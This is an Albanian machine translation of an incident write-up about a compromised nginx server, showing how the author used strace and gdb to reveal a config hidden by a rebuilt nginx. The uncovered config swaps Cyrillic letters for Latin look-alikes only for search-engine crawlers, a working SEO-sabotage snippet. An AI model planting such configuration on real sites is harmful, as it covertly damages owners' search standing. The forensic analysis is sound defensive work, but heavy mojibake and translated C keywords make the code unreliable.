Kur 'a' nuk është e barabartë me 'a'. Pas një hack-i

Një histori tepër e pakëndshme ndodhi me një mikun tim. Por sa e pakëndshme ishte për Mihailin, aq argëtuese ishte për mua.

Duhet të them se miku im është krejtësisht UNIX-përdorues: mund të vendosë sistemin vetë, të instalojë mysql, php dhe të bëjë konfigurimet më të thjeshta nginx.
Dhe ai ka dhjetë ose njëzinë e faqeve të dedikuara për veglat ndërtimore.

Një nga këto faqe e dedikuar për thirrësat e drurit është ngjitur fort në vendet e para të kërkimeve. Kjo faqe është një rishikim jo-komercial, por për dikë ishte në fyt dhe po e sulmonin. Ndonjëherë DDoS, ndonjëherë brutforcojnë, ndonjëherë shkruajnë komente të papërshtatshme dhe dërgojnë abuzime në hostim dhe në RKN.
Papritur gjithçka u qetësua dhe kjo qetësi duket se ishte e keqe, dhe faqja filloi të largohej gradualisht nga rreshtat e sipërm të rezultatit.

Kur 'a' nuk është e barabartë me 'а'. Pas një haku

Ishte një përmendje, tani vjen historia e admin-it.

Koha po afronte për të fjetur kur u dëgjua telefoni: "San, a mund të shohësh serverin tim? Më duket se më kanë hackuar, nuk mund ta provoj, por ndjenja nuk më lë për tri javë. Ndoshta është koha të shërohem nga paranoia?"

Më pas ndodhi një diskutim gjysmë ore që mund të shprehet shkurtimisht kështu:

  • toka pĂ«r sulm ishte mjaft pjellore;
  • sulmuesi mund tĂ« kishte marrĂ« tĂ« drejtat e superpĂ«rdoruesit;
  • sulmi (nĂ«se ka ndodhur) ishte i drejtuar pĂ«r kĂ«tĂ« faqe;
  • vendet problematike ishin rregulluar dhe tani duhet vetĂ«m tĂ« kuptohet nĂ«se ka pasur faktin e hyrjes;
  • sulmi nuk mund tĂ« kishte prekur kodin e faqes dhe bazat e tĂ« dhĂ«nave.

Sa për pikën e fundit.

Kur 'a' nuk është e barabartë me 'а'. Pas një haku

Bota shikohet vetëm nga IP e bardhë të front-end. Mes back-end dhe front-end nuk ka kurrfarë shkëmbimi përveç http(s), përdoruesit/kontratat janë të ndryshme, nuk janë shkëmbyer çelësa. Në adresat e errëta të gjitha portat përveç 80/443 janë të mbyllura. IP të bardhë të back-end janë të njohura vetëm nga dy përdorues, të cilëve Mihaili u beson plotësisht.

Në front-end është e instaluar Debian 9 dhe në momentin e telefonatës sistemi ishte i izoluar nga bota me një firewall të jashtëm dhe ishte ndaluar.

"Ok, më jep akseset, - vendos të shtyj gjumin për një orë. - Do ta shikoj me sytë e mi."

Këtu dhe më tej:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Në kërkim të një mundësie sulmi

Nis serverin, fillimisht në rescue-mode. Montoj diskët, përshkoj auth-loget, history, log sistemor e tjerë, përpos që kontrolloj datat e krijimit të skedarëve, diçka e ngjashme me një mjeshtër të hakimit do të fshinte gjurmët pas vetes, dhe Misha gjithashtu kishte gjetur shumë.

Filloj në mod normal, duke mos kuptuar shumë çfarë të kërkoj, studioj konfigurimet. Më intereson për së pari nginx pasi, në fakt, në front-end përveç tij nuk ka asgjë tjetër.
Konfigurimet janĂ« tĂ« vogla, mirĂ« tĂ« strukturuara nĂ« dhjetĂ« skedare, po i shqyrtoj ato thjesht cat’nĂ« mĂ«nyrĂ« tĂ« njĂ«pasnjĂ«shme. Duket se Ă«shtĂ« gjithçka nĂ« rregull, por ndoshta kam humbur diçka include, do bĂ«j njĂ« listim tĂ« plotĂ«:

$ nginx -T
nginx: konfigurimi i skedarit /usr/local/etc/nginx/nginx.conf është në rregull
nginx: skedari i konfigurimit /usr/local/etc/nginx/nginx.conf testi është i suksesshëm

Nuk e kuptova: "Ku është listimi?"

$ nginx -V
versioni nginx: nginx/1.10.3
mbështetje TLS SNI e aktivizuar
argumentet e konfigurimit: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Për pyetjen rreth listimit i shtohet dhe një tjetër: "Pse kjo versioni aq i vjetër i nginx?"

Për më tepër, sistemi mendon se versioni është instaluar më i ri:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          server web/proxy i vogël, fuqishëm, i shkallëzuar

Dëgjoj:
— Misha, pĂ«rse e ri-ndĂ«rtoje nginx?
— QetĂ«sohu, nuk e di fare si ta bĂ«j atĂ«!
— Ok, mirĂ«, flijo...

Nginx është e qartë se është ri-ndërtuar dhe rezultati i listimit për «-T» është fshehur me qëllim. Nuk ka dyshime për një keqakt, mund ta pranojmë dhe (pas gjithë kësaj Misha e zëvendësoi serverin me një të ri) të supozojmë se problemi është zgjidhur.

Dhe me tĂ« vĂ«rtetĂ«, pasi dikush mori tĂ« drejtat root‘a, ka kuptim tĂ« bĂ«jmĂ« vetĂ«m riinstalimin e sistemit, ndĂ«rsa kĂ«rkimi i asaj çfarĂ« u bĂ« Ă«shtĂ« e padobishme, por kĂ«tĂ« herĂ« kurioziteti e mundi gjumin. Si mund tĂ« zbulojmĂ« se çfarĂ« duhej tĂ« fshiheshin nga ne?

Të përpiqemi ta gjurmojmë:

$ strace nginx -T

Shikojmë, në gjurmimin e qartë mungojnë linjat si

write(1, "/etc/nginx/nginx.conf", 21/ etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Për interes, krahasojmë rezultatet

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Mendoj se një pjesë e kodit /src/core/nginx.c

            rast 't':
                ngx_test_config = 1;
                thyye;

            rast 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                thyye;

u shndërrua në formën:

            rast 't':
                ngx_test_config = 1;
                thyye;

            rast 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                thyye;

ose

            rast 't':
                ngx_test_config = 1;
                thyye;

            rast 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                thyye;

pra, lista për '-T' nuk shfaqet.

Por si mund ta shikojmë konfigurimin tonë?

NĂ«se mendimi im Ă«shtĂ« i saktĂ« dhe problemi Ă«shtĂ« vetĂ«m nĂ« njĂ« variabĂ«l ngx_dump_config tĂ« provojmĂ« ta vendosim atĂ« me ndihmĂ«n e gdb, fatmirĂ«sisht çelĂ«si --with-cc-opt -g Ă«shtĂ« i pranishĂ«m dhe shpresojmĂ« qĂ« optimizimi -O2 nuk do tĂ« na pengojĂ«. NĂ« tĂ« njĂ«jtĂ«n kohĂ«, pasi nuk e di se si ngx_dump_config mund tĂ« pĂ«rpunoheshin nĂ« rast ‘T’:, nuk do ta thĂ«rrasim kĂ«tĂ« bllok, por do ta vendosim atĂ« duke pĂ«rdorur rast ‘t’:

Pse mund tĂ« pĂ«rdorim ‘-t’ njĂ«soj me ‘-T’?PĂ«rpunimi i bllokut nĂ«se (ngx_dump_config) ndodh brenda nĂ«se (ngx_test_config):

    nëse (ngx_test_config) {
        nëse (!ngx_quiet_mode) {
            ngx_log_stderr(0, "skedari i konfigurimit %s testi është i suksesshëm",
                           cycle->conf_file.data);
        }

        nëse (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            për (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# skedari i konfigurimit ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        kthyer 0;
    }

Sigurisht, nĂ«se kodi Ă«shtĂ« modifikuar nĂ« kĂ«tĂ« pjesĂ«, e ndryshe nga rast ‘T’:, atĂ«herĂ« mĂ«nyra ime nuk do tĂ« funksionojĂ«.

testimi nginx.confPasi u zgjidh problemi me përvojë, u vërtetua se për funksionimin e malware-it është e nevojshme një konfigurim minimal nginx i formës:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Këtë do ta përdorim për shkak të shkurtësisë në artikull.

Nisemi me debuggerin

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Hapat

  • vendosim pikĂ«n e ndalimit nĂ« funksionin main()
  • nisim programin
  • ndryshojmĂ« vlerĂ«n e variablĂ«s qĂ« pĂ«rcakton daljen e konfigurimit ngx_dump_config=1
  • vazhdon/mbyll programin

Siç e shohim, konfigurimi aktual është ndryshe nga ai ynë, ndaj e nxjerrim një copë të padëshiruar nga ai:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

Le të shqyrtojmë me radhë se çfarë po ndodh këtu.

PĂ«rcaktohen User-Agent‘ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Përjashtohen faqet shërbyese wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Dhe për ata që bien nën të dy kushtet e sipërpërmendura

map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

nĂ« tekst html-faqet ndryshohen â€˜ĐŸâ€™ nĂ« ‘o’ dhe ‘а’ nĂ« ‘a’:

sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;

KĂ«shtu Ă«shtĂ«, thelbi Ă«shtĂ« nĂ« fakt se ‘а’ != ‘a’ ashtu si â€˜ĐŸâ€™ != ‘o’:

Kur 'a' nuk është e barabartë me 'а'. Pas një haku

NĂ« kĂ«tĂ« mĂ«nyrĂ«, botĂ«t e motorĂ«ve tĂ« kĂ«rkimit marrin nĂ« vend tĂ« njĂ« teksti normal 100%-kirilic njĂ« plehra tĂ« modifikuar tĂ« pĂ«rzier me latinisht. ‘a’ dhe ‘o’. Nuk merrem me spekulime se si kjo ndikon nĂ« SEO, por pak gjasa Ă«shtĂ« qĂ« njĂ« pĂ«rzierje e tillĂ« shkronjash tĂ« ketĂ« njĂ« ndikim pozitiv nĂ« pozitat nĂ« rezultatin e kĂ«rkimit.

ÇfarĂ« tĂ« them, djemtĂ« me fantazi.

Linket

Debugging me GDB
gdb(1) — manuali i Linux
strace(1) — manuali i Linux
Nginx — Modul ngx_http_sub_module
Rreth sharrave, sharrave të benzinës dhe sharrave elektrike

Burimi: habr.com

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster